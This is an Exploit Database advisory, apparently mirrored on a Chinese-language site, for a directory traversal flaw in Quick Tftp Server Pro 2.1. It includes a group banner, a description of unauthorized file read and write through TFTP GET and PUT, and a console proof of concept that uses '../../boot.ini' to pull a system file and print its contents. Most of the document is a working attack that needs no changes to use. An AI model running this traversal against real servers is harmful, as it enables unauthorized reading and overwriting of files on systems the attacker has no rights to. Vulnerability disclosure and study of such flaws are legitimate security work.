Quick Tftp Server Pro 2.1 – Directory Traversal

• Exploit Database
• 9 阅读

• 作者： Yakir Wizman
  日期： 2010-11-05
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/15437/

• # _ ___________ 
  #(_)____ _ __/ __ \/ /_________/ /_/_/ |
  # / // __ \ | / / / / / //_/ _ \/ __// / / /
  #/ // / / / |/ / /_/ / ,< /__/ /_/ // / / / 
  # /_//_/ /_/|___/\____/_/|_|\___/\__,_// /_/_/
  # Live by the byte |_/_/
  #
  # Members:
  #
  # Pr0T3cT10n
  # -=M.o.B.=-
  # TheLeader
  # Sro
  # Debug
  #
  # Contact: inv0ked.israel@gmail.com
  #
  # -----------------------------------
  # Quick Tftp Server Pro is vulnerable for a path traversal, the following will explain you how to read & write files
  # The vulnerability allows an unprivileged attacker to read & write files whom he has no permissions to.
  # The vulnerable FTP command are:
  # * GET 	- Read 	File
  # * PUT 	- Write File
  #-----------------------------------
  # Vulnerability Title: Quick Tftp Server Pro v2.1 Remote Directory Traversal Vulnerability
  # Date: 05/11/2010
  # Author: Pr0T3cT10n
  # Software Link: http://www.tallsoft.com/tftpserver_setup.exe
  # Affected Version: 2.1
  # Tested on Windows XP Hebrew, Service Pack 3
  # ISRAEL, NULLBYTE.ORG.IL
  ###
  Microsoft Windows XP [Version 5.1.2600]
  (C) Copyright 1985-2001 Microsoft Corp.
  
  C:\Documents and Settings\Admin>tftp
  
  Transfers files to and from a remote computer running the TFTP service.
  
  TFTP [-i] host [GET | PUT] source [destination]
  
  -iSpecifies binary image transfer mode (also called
  octet). In binary image mode the file is moved
  literally, byte by byte. Use this mode when
  transferring binary files.
  hostSpecifies the local or remote host.
  GET Transfers the file destination on the remote host to
  the file source on the local host.
  PUT Transfers the file source on the local host to
  the file destination on the remote host.
  sourceSpecifies the file to transfer.
  destination Specifies where to transfer the file.
  
  
  C:\Documents and Settings\Admin>tftp -i 127.0.0.1 GET ../../boot.ini C:\boot.txt
  
  Transfer successful: 206 bytes in 1 second, 206 bytes/s
  
  C:\Documents and Settings\Admin>type c:\boot.txt
  [boot loader]
  timeout=30
  default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
  [operating systems]
  multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional"
  /noexecute=optin /fastdetect
  
  C:\Documents and Settings\Admin>